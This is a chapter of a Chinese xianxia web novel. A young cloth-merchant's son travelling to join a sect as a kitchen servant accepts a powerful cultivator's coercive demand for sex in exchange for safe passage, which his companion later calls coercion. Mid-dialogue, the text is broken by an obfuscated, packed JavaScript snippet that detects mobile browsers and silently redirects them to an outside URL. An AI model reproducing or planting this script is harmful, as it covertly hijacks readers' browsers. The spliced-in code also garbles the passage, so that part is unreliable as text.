云实默默听着,心里估算着自己包袱里那点钱。扣除一路花费,剩下的恐怕连最便宜的“引路人”队伍都凑不够一个零头。他正思忖着,目光无意识地扫过棚子另一角独自坐着的一人。 那是个年轻男子,穿着件雨过天青色的长衫,料子……云实的眼睛微微睁大。那是一种他从未见过的质感。远看是光滑的绸缎,但光线流转间,表面却隐隐有极其细密的、如同水波又似云絮的暗纹自然生灭,布料本身似乎散发着极其微弱的、温润莹洁的光晕,将穿着者衬托得清雅出尘。这绝非寻常丝织,甚至不是他听说过的任何名贵锦缎。 男子独自饮茶,侧影清隽,姿态闲适,与棚子里略显嘈杂粗粝的环境格格不入。他手边放着一柄带鞘的长剑,剑鞘朴素,但细看之下,材质非木非金,同样流转着淡淡灵光。周围几桌人,包括几个看似不好惹的江湖客,都有意无意地与他保持着距离,眼神带着敬畏。 这是个修士,而且恐怕不是普通低阶修士。云实想起曾听过的传闻,有些大宗门的核心弟子,或者科举出身又踏入修途的佼佼者,气质便是如此。 那身衣服……作为布料店出身的人,好奇心终究压过了对修士本能的疏远和一丝畏惧。云实犹豫片刻,端起自己那碗粗茶,起身走了过去。 “这位……仙长,”云实在离对方桌子三步远处停下,微微躬身,尽量让声音听起来平静有礼,“打扰了。在下是经营布料的,冒昧请问,您身上这件衣裳的料子,不知是何处所产?何种工艺?在下从未见过,实在好奇。” 那年轻男子闻声,转脸看向云实。他面容俊雅,肤色白皙,眉眼温和,但眼神深处有种疏离的审视感,仿佛能轻易看透人心。他目光在云实洗得发白的短褐和肩上的旧包袱上停留了一瞬,又落回他脸上。 “料子?”他重复了一遍,似乎有些意外会被问这样的问题。他低头看了看自己的衣袖,那如水波云絮般的暗纹正在缓缓流动。“此乃宗门赐下的‘云水缎’,以云霞精气织入寒蚕丝,经‘柔’与‘化’之法则初步炼制而成,并非凡间作坊所产。” 他的解释很平淡,像是在陈述一个再寻常不过的事实。说完,他端起茶杯,不再看云实,显然不打算继续这个话题。 云实却敏锐地捕捉到了一丝异样。这位仙长在回答时,那极其短暂的停顿,以及眼神中一闪而过的、类似于……茫然?不,或许更像是某种下意识的回避。他回答说“宗门赐下”,点明“并非凡间所产”,却对“云水缎”的具体来历、如何“织入”、如何“炼制”,语焉不详。 一位看起来身份不低的修士,会不清楚自己身上法衣的详细来历和工艺吗?或许是真的不在意,或许……是觉得没必要对一个凡人解释太多。 云实识趣地不再追问,再次微微躬身:“多谢仙长解惑,是在下唐突了。”说完,便退回自己的座位,慢慢喝完了已经凉掉的粗茶。 那年轻修士很快便离开了茶棚,身影飘然,转眼消失在镇子另一头的山道方向。云实后来在镇上打听“引路人”行情时,偶然听到有人低声议论:“……刚才那位,好像是四明宗这一代最年轻的‘法则期’高手,叫温言,据说还是前几届的科举状元,文武双全,厉害得紧……” 温言。云实记住了这个名字,连同那身令人过目难忘的“云水缎”。 在栖霞镇盘桓了两日,云实将引路人的行情摸了个大概。穿越翠微山最危险的这段路,通常需要结成至少十人以上的队伍,雇佣由三到五名炼气期修士组成的护卫队,每人费用视路途险峻程度,在五到二十块下品灵石不等,或折算成金银,但比例很高。云实身上那点钱,连最便宜队伍的单人费用都远远不够。 他正在镇口一棵老树下发愁,盘算着是否要在此地先找些零工攒钱,一个清脆的声音在旁边响起: “你也是要去天衡宗应募的吗?” 云实转头,看到一个年纪与自己相仿的姑娘。她穿着利落的靛蓝布衣,头发用同色布条束在脑后,背着一个比云实还要大些的包袱,皮肤是健康的小麦色,眼睛很大,眼神明亮直接,正打量着他。 “是。”云实点头,“你也是?” “嗯!”姑娘很爽快地应道,走了过来,“我叫纸鸢,纸做的纸,鸢尾花的鸢。家里是开造纸坊的,去天衡宗应募……嗯,杂役。”她说到“杂役”时,有点不好意思地挠挠头,但很快又挺直腰板,“你呢?” “云实,云彩的云,实在的实。家里开布店,也是去应募杂役,后厨。”云实回答。纸鸢身上有种干脆利落的气质,让人不自觉地放松。 “后厨?那挺好,至少饿不着。”纸鸢笑起来,露出两颗小小的虎牙,“我还不确定分到哪里呢。对了,你找到‘引路人’了吗?我问了一圈,贵死了!” “正为这个发愁。”云实苦笑,“钱不够。” “我也是!”纸鸢一拍手,像是找到了同盟,“我把家里给的路费盘缠算了又算,还差一大截。那些引路人队伍,看我们俩这样单独行动的年轻人,又没什么油水,连价都不乐意讲。” 两人同是天涯沦落人,很快便聊开了。纸鸢性格爽朗,话也多些,云实大多听着,偶尔插几句,发现这姑娘虽然咋咋呼呼,但心思其实不粗,对行情打听得挺细,也很有主见。 “要不这样,”纸鸢提议,“咱们俩把钱凑一凑,看能不能凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934560|192840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够一个人的费用?然后轮流跟着队伍走?虽然可能慢点,也危险点,但总比干等着强。” 云实想了想,摇头:“不行。引路人都是按人头点齐了才出发,不会同意轮流跟。而且路途危险,落单更麻烦。” “那怎么办?难道真在这镇子上打短工攒钱?那得攒到猴年马月去?天衡宗招人是有时限的,听说先到先得,名额满了就没了。”纸鸢有些泄气。 云实沉吟片刻:“或许……我们可以在这里接些活计,但不止是短工。这镇子是进山前最后一站,来往人多,需要搬运、向导、临时帮工的地方应该不少。我们年轻,肯出力,两人搭伙,接活的余地也大些。攒钱虽然慢,但总比坐吃山空强。” 纸鸢眼睛一亮:“有道理!我们可以去客栈问问要不要帮工,或者去货栈看看有没有需要临时搬运的。两个人一起,也好有个照应!” 就在两人商量着准备去找客栈掌柜打听时,一个略带戏谑的声音突兀地插了进来: “哟,两个小娃娃,在这儿愁眉苦脸地商量怎么过山呢?” 云实和纸鸢同时转头。只见一个穿着赤红锦袍的年轻男子不知何时倚在了不远处的一堵土墙边,抱着手臂,饶有兴致地看着他们。他容貌昳丽,甚至带点邪气,眉眼飞扬,嘴角噙着一丝玩味的笑意。最引人注目的是他那头红发,并非染就,而是天然如火焰般披散在肩头,发梢无风自动,隐隐有热意散发出来。他腰间挂着一个朱红色的酒葫芦,周身气息虽然内敛,但那种与周遭环境格格不入的“存在感”,以及云实曾亲眼见过的、那蓝红交错的诡异气劲留下的记忆,让云实瞬间头皮发麻。 是那个叫苏妄的修士!那个毁了自家店铺、打伤父亲的人! 云实的心猛地一沉,手下意识地握紧。纸鸢也察觉到这人不好惹,下意识地往云实身边靠了半步。 苏妄似乎没认出云实——或许他根本从未记住过那个雨夜泥泞中呆立少年的脸。他晃悠着走过来,目光在云实和纸鸢身上扫过,尤其在纸鸢脸上多停留了一瞬,笑意加深:“怎么,缺钱找引路人?那些废物低阶修士,带着你们也是累赘,遇到真麻烦,跑得比谁都快。” 云实强压下心头翻涌的情绪,低垂着眼,不想与他对视,同时用极低的声音对纸鸢道:“离这种人远点。” 他声音已经压得极低,几乎是气音。但苏妄的耳朵却动了动,随即夸张地“哈”了一声,红眸盯住云实:“‘这种人’?小子,你认识我?还是……在说我坏话?” 云实后背渗出冷汗,没想到对方耳力如此惊人。他抬起头,尽量让表情平静:“仙长误会了,我们只是在商量如何凑足路费。” “路费?”苏妄挑眉,似乎觉得很有趣,“你们俩这点微末道行——哦,你好像压根没有,这小姑娘倒是有点粗浅的灵力波动——加起来够干嘛的?请我喝顿酒都不够。” 他走近几步,身上那股混杂着酒气和隐隐燥热的气息扑面而来。纸鸢皱了皱眉,又退了一小步。云实站在原地没动。 “这样吧,”苏妄忽然道,像是突发奇想,“看你们俩可怜兮兮的,本公子今天心情不错,大发慈悲,送你们一程?价格嘛……好商量。” 云实和纸鸢都是一愣,没想到他会这么说。但苏妄接下来的话,立刻让两人的心沉入谷底。 “不过嘛,”苏妄摸着下巴,目光在纸鸢脸上逡巡,又扫过云实,“你们那点钱,连我开价的零头都不够。这样吧……”他指向纸鸢,笑容变得轻佻而恶劣,“这个可爱的小姑娘,陪我一晚上,我就勉强算你们钱够了,如何?保证把你们安安稳稳送到天衡宗山门口。” 纸鸢的脸瞬间涨红,不是羞怯,是愤怒。“你胡说什么!”她声音拔高,带着显而易见的怒气,“谁要陪你!我们就是死路上,也不会答应你这种要求!” 云实也立刻挡在纸鸢身前,沉声道:“仙长请自重。我们不会答应这种条件,我们会另寻他法。” “哦?另寻他法?”苏妄嗤笑,红发无风自动,周围的空气似乎都燥热了几分,“就凭你们?再等十天半个月,攒够钱去找那些三脚猫的引路人?且不说你们能不能活着走到,就算走到了,天衡宗还收不收你们这种迟到的杂役,可难说得很。我听说,他们这次放出的仆役名额,可是先到先得,去晚了,就算到了山门,也只能打道回府。” 他的话戳中了云实和纸鸢最担忧的地方。两人一时沉默。 苏妄见状,笑容越发恣意,目光转向云实,上下打量了他一番,忽然改口:“啧,小姑娘不乐意就算了。看你小子……”他顿了顿,语气带着某种审视和戏弄,“长得倒也眉清目秀,收拾收拾还能看。要么……你来陪我一晚?我也答应送你们。反正你们俩看起来……关系不错?应该不介意谁‘牺牲’一下吧?” 这话更不堪入耳。纸鸢气得浑身发抖,正要再次斥骂,云实却按住了她的手臂。 云实看着苏妄那张写满玩世不恭和恶意的脸,脑海中闪过父亲包裹着的手臂,闪过母亲无助的眼泪,闪过储物袋,闪过天衡宗那封回执,闪过这一路走来的艰辛,也闪过纸鸢眼中对前路的期盼。错过这次招录,或许就真的再无机会靠近那个世界。打短工攒钱?时间不等人。另寻他法?哪里还有他法。 苏妄很强,强到可以无视规矩,肆意妄为。但此刻,他似乎成了唯一可能、且“价格”他们或许能“支付”得起的选择——如果支付的不是金钱的话。 一种冰冷的、近乎麻木的决断,在云实心中形成。他是男人。男人和男人之间……虽然他从未经历过,甚至从未想过,但坊间暗巷里,并非没有听过类似龌龊的传闻。总比让纸鸢一个姑娘家去承受要好。而且,就像他之前安慰自己的,男人嘛,不吃亏。 “云实!”纸鸢察觉到他的沉默和眼神变化,焦急地低喊,“你别听他的!我们慢慢攒钱,总能想到办法!大不了……大不了不去天衡宗了!” 云实轻轻摇了摇头,目光从纸鸢焦急的脸上移开,看向苏妄,声音干涩,却清晰:“我答应你。但只一晚。你要保证,安全送我们两人到天衡宗山门,并且……不能伤害纸鸢。” “云实!”纸鸢猛地拽住他的胳膊,眼中全是不敢置信和反对,“你疯了吗?他是什么人你看不出来?你怎么能……” 苏妄也愣了一下,似乎没料到云实答应得这么干脆,而且这么……平静?他预想中的惊慌、羞愤、激烈反抗,一样都没有。眼前的少年,眼神里有一种让他觉得有点无趣的、死水般的认命,但深处又似乎烧着点别的东西,执拗得很。 “有意思。”苏妄摸了摸下巴,红眸里兴味更浓,“行啊,我答应你。一晚,送你们到山门,不动这小姑娘。”他顿了顿,补充道,“今晚,镇东头‘悦来客栈’天字三号房。洗干净点过来。”说完,他不再看两人反应,转身哼着不成调的小曲,晃悠着走了。 “云实!你到底在想什么!”苏妄一走,纸鸢立刻急道,“那种人说的话能信吗?” 云实转过头,看着纸鸢,扯出一个有些疲惫的笑:“纸鸢,我们没有时间了。错过了天衡宗,我们可能再也没有这么好的机会。打杂也好,仆役也罢,那毕竟是仙门。进去了,或许就能看到不一样的东西,学到一点……安身立命、甚至保护家人的本事。” “那也不能用这种方式!”纸鸢又急又气,还有深深的不赞同,“你这是……你这是糟践自己!” “我没事。”云实的声音很平静,甚至反过来安慰她,“我是男人,不吃亏。而且,只有这样,我们才能按时赶到。你放心,我应付得来。到了天衡宗,我们就安全了。” 纸鸢看着他平静到近乎异常的脸,还想说什么,却一时语塞。她看得出来,云实已经下定了决心,劝不动了。 傍晚,云实去了悦来客栈。那是栖霞镇最好的客栈,天字房更是价格不菲。他照着苏妄说的,找到天字三号房,敲了敲门。 门开了,苏妄已经换了一身宽松的暗红色丝袍,领口敞开,露出小片胸膛,头发湿漉漉地披散着,似乎刚沐浴过。他靠在门框上,打量着站在门外、依旧穿着那身旧短褐、背着小包袱的云实,皱了皱眉:“你就这样来了?” 云实没说话。 苏妄啧了一声,侧身让开:“进来。先去洗干净,一身尘土汗味,怎么睡?”他指了指房间里侧用屏风隔开的地方,后面隐约可见冒着热气的浴桶。 云实沉默地走进去,放下包袱。屏风后的浴桶里果然备好了热水,旁边还放着干净的布巾和一套折叠整齐的衣物,是柔软的细棉布中衣和一件红色的外袍,料子普通,但比他自己的好多了。 他脱去脏污的短褐,踏入浴桶。 洗完后,他擦干身体,看着那套衣物。中衣他可以穿,但那件外袍……他不想穿。 他拿着中衣和外袍走到屏风外。苏妄正斜倚在窗边的软榻上自斟自饮,见他出来,目光落在他只穿着中衣、还在滴水的头发和略显苍白的脸上。 “外袍怎么不穿?”苏妄问。 “我不是仙人,穿短衣就好。”云实低声道,想去找自己那身旧衣服。 “要么别穿,直接过来。”苏妄晃着酒杯,语气带着不容置疑的戏谑,“要么,就穿上。我讨厌邋遢,也讨厌不听话。” 云实动作顿住。他垂着眼,默默展开了那件红色外袍,套在身上。布料柔软,带着陌生的熏香气息,尺寸略大,衬得他更显瘦削。 苏妄放下酒杯,走了过来。他身上那股混合着酒气和炽热灵力的气息再次笼罩住云实。云实身体绷紧了,手指无意识地攥住了衣角。 “别紧张。”苏妄的声音近在耳边,带着热气,手指挑起了云实一缕半湿的黑发,“我说了,就一晚。你既然答应了,就别摆出一副受刑的样子,无趣。” 云实闭了闭眼,复又睁开,眼中没什么情绪,只干巴巴地说:“只一晚。要做什么,就快点。” 苏妄盯着他的眼睛看了片刻,忽然低低地笑了起来,笑声里听不出是愉悦还是嘲弄。“你倒是直接。”他伸手,捏住云实的下巴,迫使他抬起头,“不过,我改主意了。聊聊?你叫什么名字?为什么非要去天衡宗不可?甚至不惜……答应这种条件?” 云实偏头想挣脱他的手,没成功。“云实。去谋生路。仙长,我只答应陪你,没答应谈心。” “谋生路?”苏妄松开手,却就势揽住了他的腰,将人带向床榻,“什么样的生路,值得你这么‘牺牲’?嗯?” 云实被他按坐在床沿,浑身僵硬,不再回答,只是紧紧抿着唇,侧过脸,目光盯着地面织锦的纹路,仿佛那上面有什么极其吸引他的东西。 苏妄也不在意他的沉默,俯身靠近,红发垂落,扫过云实的脖颈。他的手指抚过云实身上那件外袍的领口,声音低沉了些,带着某种探究:“你是我见过的第一个……反应是这样的。不哭不闹,不愤恨咒骂,甚至……连害怕都像是隔了一层。你是真的不在乎?” 他的气息太近,动作也带着明显的意图。云实能感觉到自己心脏在胸腔里沉重地跳动,血液冲上耳廓,但四肢却冰凉。他努力控制着呼吸,不让颤抖泄露出来。 “我说了,要干什么就赶紧。”他重复道,声音有些哑。 苏妄看着他微微颤抖的睫毛和抿得发白的嘴唇,忽然觉得有点索然无味。这少年像块硬邦邦的石头,或者一潭死水,激不起他太多捉弄的乐趣。但答应的事,总要做完。 他不再多言,挥手拂落了床帐。 帐内光线昏暗,陌生的触感、气息、温度,都让云实有种灵魂抽离的错觉。 苏妄的动作算不上特别粗暴,甚至带着点漫不经心的敷衍,但绝对谈不上温柔。他似乎在观察云实的反应,但云实除了最初不可避免的紧绷和痛楚带来的细微颤抖,几乎没有任何回应,像一具沉默的偶人。这反而让苏妄中途停顿了一下,红眸在昏暗中闪过一丝难以辨明的情绪,但很快又被惯有的恣意掩盖。 结束后,苏妄很快起身,随手扯过一件外袍披上,走到窗边,拿起酒葫芦灌了一口。床帐内,云实慢慢蜷缩起身体,月白的外袍凌乱地半裹在身上,露出的皮肤上有些红痕。他没动,也没出声。 房间里只剩下苏妄偶尔饮酒的轻微声响,和窗外隐约传来的、遥远模糊的市井嘈杂。 过了不知多久,苏妄的声音响起,已经恢复了平时的玩世不恭:“行了,收拾一下,明天一早出发。”他没回头看床上的人。 云实这才缓缓动了动,撑着身体坐起来。下身传来清晰的不适和钝痛,腰腿也酸软得厉害。他慢慢挪下床,捡起自己那套洗得发白的旧中衣默默地穿上,然后将那件红色外袍仔细叠好,放在床尾。 他走到屏风后,就着已经凉掉的水,简单地擦拭了一下身体。冷水激得他打了个寒颤,但也让混沌的脑子清醒了些。他看着铜盆里自己模糊的倒影,脸色苍白,眼神沉寂。他掬起一捧水,用力洗了把脸。 他确实不觉得作为男人,在这方面吃亏。他只是完成了一场交易,用自己可以付出的、对方恰好想要的东西,换来了通往目的地的通行证。至于过程如何,感受如何,并不在交易条款之内,也不值得过多纠结。 只是身体很难受。 第二天天刚亮,苏妄就回来了,神清气爽,仿佛昨夜什么也没发生。他看了眼云实,丢过去一个小瓷瓶:“吃了。路上别拖后腿。” 云实接过,打开,里面是一颗碧绿色、散发着清凉药香的丹药。他犹豫了一下,还是仰头吞了下去。丹药入腹,化作一股温和的暖流散开,身上的酸痛和不适果然缓解了许多,连精神都振作了些。 “纸鸢在楼下。”苏妄说,“走吧。” 云实默默起身,背好自己的旧包袱,跟着苏妄下楼。纸鸢已经在客栈大堂等着了,看到云实下来,立刻快步走过来,目光急切地在他脸上身上扫视,看到他脸色虽仍有些苍白,但眼神平静,行走也无异样,稍微松了口气,但眼中的担忧并未散去。 “云实,你……” “我没事。”云实打断她,微微摇了摇头,“走吧。” 苏妄根本没等他们寒暄,已经率先向镇外走去。云实和纸鸢赶紧跟上。 出了栖霞镇,便是莽莽苍苍的翠微群山。山路崎岖,林木渐深,雾气也开始弥漫。苏妄走得不快,甚至有些闲庭信步的味道,但他所过之处,那些弥漫的、带着淡淡腥甜气息的瘴疠仿佛遇到克星般自动散开;偶尔林间传来令人心悸的低吼或窸窣声,也在他随意瞥去一眼后,偃旗息鼓。他甚至懒得动用多少灵力,仅仅是他身上自然散发出的、属于高阶修士的威压和那股独特的、带着“乱”与“热”意的气息,就足以驱散大部分麻烦。 云实和纸鸢紧跟在他身后,走得并不轻松。山路难行,云雾遮蔽视野,还要提心吊胆。但比起传闻中的凶险,这一路简直称得上“平静”。 纸鸢几次想跟他说话,但看云实沉默赶路、不欲多言的样子,又看看前面那个让人捉摸不透又心生畏惧的红发修士,也只好把话咽回去,默默同行。 途中休息时,苏妄会自己找块石头坐下喝酒,并不理会他们。云实和纸鸢就离他稍远些,喝水吃干粮。 “他……没把你怎么样吧?”趁苏妄似乎闭目养神时,纸鸢终于忍不住,凑近云实,用极低的声音问。 云实摇摇头,声音平淡:“没有,你放心。” 纸鸢看着他平静的侧脸,心里五味杂陈。她看得出云实在硬撑,也看得出这件事绝非他表现出来的那么“无所谓”。但她不知道该说什么来安慰,任何语言在此刻都显得苍白无力。 走了两日,翻过数道险峻的山岭,穿过几处雾气弥漫、容易迷失的谷地,第三日午后,前方豁然开朗。一片被淡淡云雾环绕、灵气明显比外界浓郁许多的连绵山峰出现在眼前。山脚下,矗立着一座巨大的、以白玉和青石砌成的山门,上书三个古朴大字——天衡宗。山门前有广场,已有不少人在排队等候,多是穿着朴素的年轻人,应该都是来应募的仆役杂役。 苏妄在山门外不远处停下脚步,转身看向云实和纸鸢,红眸里带着惯有的戏谑:“喏,到了。交易完成。”他特意看了云实一眼,嘴角勾起一抹说不清道不明的弧度,“小云实,后会有期。” 说完,他不等两人反应,身形一晃,便化作一道赤红流光,投向山脉深处,消失不见。 云实站在原地,望着苏妄消失的方向,沉默了片刻。然后,他转向纸鸢,脸上终于露出一丝如释重负的、极其轻微的笑容:“我们到了。” 纸鸢也长长舒了口气,用力点头:“嗯!到了!” 两人整理了一下衣衫和行李,向山门前的队伍走去。云实能感觉到,经过这两日赶路,身体最后那点残留的不适,也已经基本消失了。只是心里某个角落,仿佛也随着那人的离去,而沉淀下一些冰冷坚硬的东西,不再轻易泛起波澜。 3. 【二】 天衡宗的外院,比云实想象中更加……规整,或者说,枯燥。 山门之后的景象,并非立刻就是仙鹤祥云、琼楼玉宇。他们这些新招募的仆役杂役,被统一安置在外围一片连绵的灰瓦平房区,每间房住四人,狭窄但干净。每日寅正(凌晨四点)起身,卯初(五点)点卯,然后根据分配前往各处劳作。管理他们的,是几个神色严肃、气息比凡人浑厚些、但显然也远未触及真正“修仙”门槛的管事,据说是宗门内无法突破更高境界、转做庶务的外门弟子。 云实和纸鸢运气不错,都分到了后厨。后厨是个独立的、占地颇大的院落,分灶房、仓库、柴房、水井,以及供厨役们短暂休息的偏屋。与他们一同分来的还有另外七八个年轻人,男女都有,多是来自附近州县的贫苦人家,也有少数像纸鸢那样,家里是工匠商户,想让孩子进来见见世面、或许能沾点仙缘的。 第一天的“培训”,由一个姓李的胖厨师主持。李厨师年约四十,面色红润,围着一条油渍麻花的围裙。他领着这群新人熟悉环境,指着那几口需要两人合抱的大铁锅、堆积如山的柴垛、以及分类摆放着各种食材(多是普通米面菜蔬,偶尔有些透着淡淡灵气的兽肉和菌菇)的仓库,嗓门洪亮。 “……咱们这后厨,主要伺候的是外院弟子、执事、还有部分内院低阶弟子的日常饮食。偶尔宗门有庆典或贵客临门,内院的大厨房忙不过来,也会调些人手过去帮忙,那可是露脸的好机会!” 他顿了顿,目光在新人们脸上扫过,尤其在几个看起来机灵些的(包括云实和纸鸢)身上多停了停:“原来的主厨,上个月家里出了事,请辞回去了。现在灶上的活计,暂时由我和老张头顶着。你们好好学,手脚勤快点,悟性高的,”他拍了拍自己圆滚滚的肚子,“没准过些日子,就能顶上灶头,给仙长们掌勺!那待遇,可跟现在不一样!” 给仙人们做饭。云实听着,心里并无太多波澜。在哪儿都是干活,在仙门后厨,至少吃得饱,月钱稳定,还能接触到一些……或许不同的东西。他更关心的是别的。 趁着李厨师讲解完一段、让大家稍事休息的空档,云实斟酌了一下,开口问道:“李师傅,仙长们……平日里除了用膳,一般都做些什么?” 这问题似乎让李厨师愣了一下,他挠了挠光秃秃的脑门,嘿然一笑:“做啥?那我可说不清。咱们这外院还好,那些内院的仙长们,听说神龙见首不见尾。不过嘛,”他压低了点声音,带着点市井的揣测,“你想啊,这么大一片山,这么多产业,佃户、矿工、药农……不都得有人管?我估摸着,仙长们大概就跟咱们凡间的大地主似的,坐镇收租,管理田庄产业?” 旁边一个正在劈柴的黑瘦青年闻言,停下动作,瓮声瓮气地插嘴:“不对吧李师傅。我老家那边山里闹过精怪,就是请了仙长去降服的。仙长们应该是降妖除魔,保一方平安的。” “精怪?妖魔?”纸鸢眼睛一亮,她似乎对这些更感兴趣,“我听说过!是不是青面獠牙,会吃人的那种?” 黑瘦青年摇摇头:“我没亲眼见过,听说像大号的野猪,但又比野猪凶得多,还能吐毒雾。反正仙长们去了,没多久就平息了。” 李厨师不以为然地摆摆手:“那都是偶尔的事。大多数时候,仙长们不就跟咱们一样,各司其职嘛。内院的炼丹、炼器、画符、种药……外院的管人、管账、管庶务。说到底,都是过日子。” 云实默默听着。地主?除妖者?管理者?似乎都有些像,但又都不完全。他想起温言身上那件流光溢彩的“云水缎”,想起苏妄那随意驱散瘴疠凶兽的漫不经心,那绝不是“过日子”三个字能概括的力量和境界。 “那……修仙到底是什么呢?”云实像是自言自语,又像是问在场的人。 纸鸢立刻接话,语气带着笃定和向往:“修仙就是证道啊!拨开世间迷雾,直见天道本源!我爹说过,那些真正厉害的仙长,能飞天遁地,移山倒海,寿与天齐!他们追求的,是大道真理!” “证道……”云实咀嚼着这个词。太虚渺了。“见到天道之后呢?天道会……分力量下来吗?有了那种力量,是不是就能做很多以前做不到的事?比如……”他想说比如让父亲的手臂恢复如初,比如让家里再也不必担心布料霉变,比如不必再向苏妄那样的人低头交易,但话到嘴边,又咽了回去,改成了更泛泛的,“比如为所欲为?” “为所欲为?”纸鸢皱起了眉头,似乎觉得这个词玷污了修仙的神圣,“怎么能是为所欲为呢?力量越大,责任越大才对!我听说真正的得道高人,都是悲天悯人、匡扶正义的。应该是……嗯,孔圣人不是说‘从心所欲不逾矩’吗?修仙大概也是,有了大能力,可以随心去做想做的事,但不会逾越天道规矩、人伦法度。” “不逾矩……”云实低声重复。 李厨师听得直乐:“你们这些年轻人,想得还挺远。什么天道规矩的,离咱们太远咯!咱们呐,先把眼前的萝卜切好、柴火劈足、大锅烧热,让仙长们和师兄师姐们吃上热乎饭,就是本分!” 培训在下午结束,李厨师给每人发了两套灰褐色的粗布短褐作为工服,安排了具体的活计。云实和另外两个少年被分去负责食材的初步处理(挑拣、清洗、搬运)和协助烧火;纸鸢和另外几个姑娘则跟着李厨师和老张头学习切配和简单的烹饪。因为主厨空缺,李厨师和老张头显然有意培养新人,教得还算用心。 傍晚,在统一的大灶上吃过简单的晚饭(白米饭,一大盆青菜豆腐,几片肥肉),仆役们各自回住处。云实和纸鸢的住处不在一个方向,在通往各自院落的岔路口,纸鸢叫住了云实。 “云实,”她看起来有些犹豫,但还是开口道,“白天你说的那些……什么为所欲为,是不是因为……因为那个红头发的家伙?”她没提苏妄的名字,但两人心知肚明。 云实停下脚步,看向她。纸鸢的脸上有关切,也有不赞同。“跟他有关,也不完全是因为他。”云实实话实说,“我只是在想,修仙如果最终得到的是力量,那力量用来做什么,是不是全看个人?就像有钱人,可以用钱行善,也可以为富不仁。” “那不一样!”纸鸢有点急,“修仙是超脱,是追寻更高的境界和道理,怎么能跟凡俗的金钱权力一样类比?那个红头发的,他……他那样子,根本就不是正经修仙之人该有的做派!他那是邪道!是仗着力量欺辱人!” 她顿了顿,看着云实平静无波的脸,声音低了下去,却更认真:“而且,他对你做的……那件事,绝对不是‘从心所欲不逾矩’,那太逾矩了!是……是欺负人!是错的!” 云实沉默了一下。晚风吹过,带来远处山林模糊的声响和厨房区域尚未散尽的烟火气。他其实不太理解纸鸢为什么对这件事如此耿耿于怀,甚至有些生气。 “纸鸢,”他开口,语气依旧平淡,“那件事,已经过去了。我答应了,他做到了承诺,把我们送来了。这是一场交易,银货两讫。我没什么损失。”他甚至试图解释自己那套朴素的想法,“我是男人,不像女子那般……总之,我不吃亏。你不必总是记着,也不必为我生气。” “你——”纸鸢猛地抬起头,眼睛瞪圆了,里面是真的涌起了怒气,还有一丝……失望?“云实!你这是什么话!什么叫‘男人不吃亏’?难道因为是男子,被人那样对待就是理所当然,就不算受辱,就不值得在意吗?这不是吃亏不吃亏的问题!那是……那是强迫!是不对的!是对你的不尊重!” 她胸口起伏,显然气得不轻:“我以为……我以为你只是没办法,暂时忍了。可你现在这么说,好像……好像你真的觉得那没什么?你难道一点都不觉得难受,不觉得……愤怒吗?” 云实被她激烈的反应弄得有些怔忡。难受?当时身体是难受的。愤怒?或许有一点,但更多的是面对绝对力量差距时的无力和必须做出选择的冰冷决断。至于事后……事情已经发生了,无法改变,反复咀嚼其中的屈辱或愤怒,除了让自己痛苦,还有什么用呢?不如向前看。这是他从小在拮据生活中学会的生存智慧:不纠缠无法改变的事,只抓住能抓住的机会。 “事情已经发生了。”他重复道,“多想无益。我们现在在这里,有工做,有饭吃,这才是重要的。” 纸鸢看着他,像是第一次真正认识他一样。眼前的少年眉眼干净,神情平静,甚至可以说得上温和,但他那平静之下,有一种让她感到心寒的、近乎麻木的淡漠。不是针对她,而是针对发生在自己身上的那件糟心事,甚至可能是针对很多……常人会在意的东西。 她张了张嘴,最终没能再说出什么。满腔的义愤和不解,堵在喉咙里,化作一声重重的叹息。 “算了。”她有些无力地摆摆手,“你……你早点休息吧。明天还要早起。” 说完,她转身,快步走向自己住处的方向,背影带着显而易见的沮丧和烦闷。 云实站在原地,看着她的身影消失在暮色中,有些困惑地皱了皱眉。他不明白纸鸢为什么这么生气。他说的都是实话,他的感受就是如此。或许,男女的想法,终究是不同的吧。 他摇摇头,也转身向自己的住处走去。同屋的三个少年已经回来了两个,正在小声聊天,说的多是今天在后厨或别处的见闻,对仙门的好奇,以及对自己将来的一点点模糊憧憬。云实安静地打了水洗漱,然后爬上自己的铺位,拉过薄被。 身体躺在坚硬的木板床上,白日劳作的疲惫渐渐涌上。他闭上眼,却没有立刻睡着。纸鸢生气而失望的脸,混杂着苏妄那肆意张扬的红发和温言那身清冷光洁的云水缎,在黑暗中纷至沓来。 修仙……到底是什么?力量从何而来?规矩由谁而定?得了力量,当真就能“从心所欲”吗?如果“欲”本身,就是破坏规矩的呢? 他想不明白。这些念头对他而言,太过宏大,也太过遥远。他只知道,自己现在在天衡宗的后厨,有了一个安身之处,每月有三百文钱可以攒下(虽然大部分要寄回家),有机会接触到一点或许不同的东西。至于那晚的事情,就像腿上被荆棘划破的一道口子,当时疼,过后结了痂,虽然留下淡淡的疤,但已经不碍事了。他不会刻意去揭它,也不会整天盯着它看。 他侧过身,面朝墙壁。屋外传来隐约的虫鸣,和远处不知何处传来的、极其轻微却悠长的钟磬之声,仿佛来自云端。那大概是内院的方向,是真正的修仙者们所在的地方。 云实闭上眼,将那些纷乱的思绪压下。明天还要早起劈柴洗菜,想这些没用。 呼吸渐渐平稳。在沉入梦乡前,最后一个模糊的念头滑过——纸鸢好像真的挺生气的,明天……要不要跟她道个歉?虽然他不觉得自己说错了什么,但她毕竟是他在这个陌生地方,唯一算得上熟悉的人。 第二天寅正,云实和同屋的少年们被刺耳的铜锣声惊醒,匆忙洗漱,奔向灶房点卯。晨雾未散,空气中弥漫着柴火烟气和清冷的草木味道。点完卯,各自领了今日的活计,云实被分去仓库帮着搬运今日所需的米粮和菜蔬。 经过昨日纸鸢切配食材的案板区时,云实脚步顿了顿。纸鸢正低头专注地切着一筐萝卜,刀工不算特别娴熟,但很认真,萝卜片厚薄大致均匀。她似乎察觉到视线,抬头看见云实,眼神交汇了一瞬,又立刻低下头去,继续手里的活计,但嘴角微微抿着,显然昨日的余气未消。 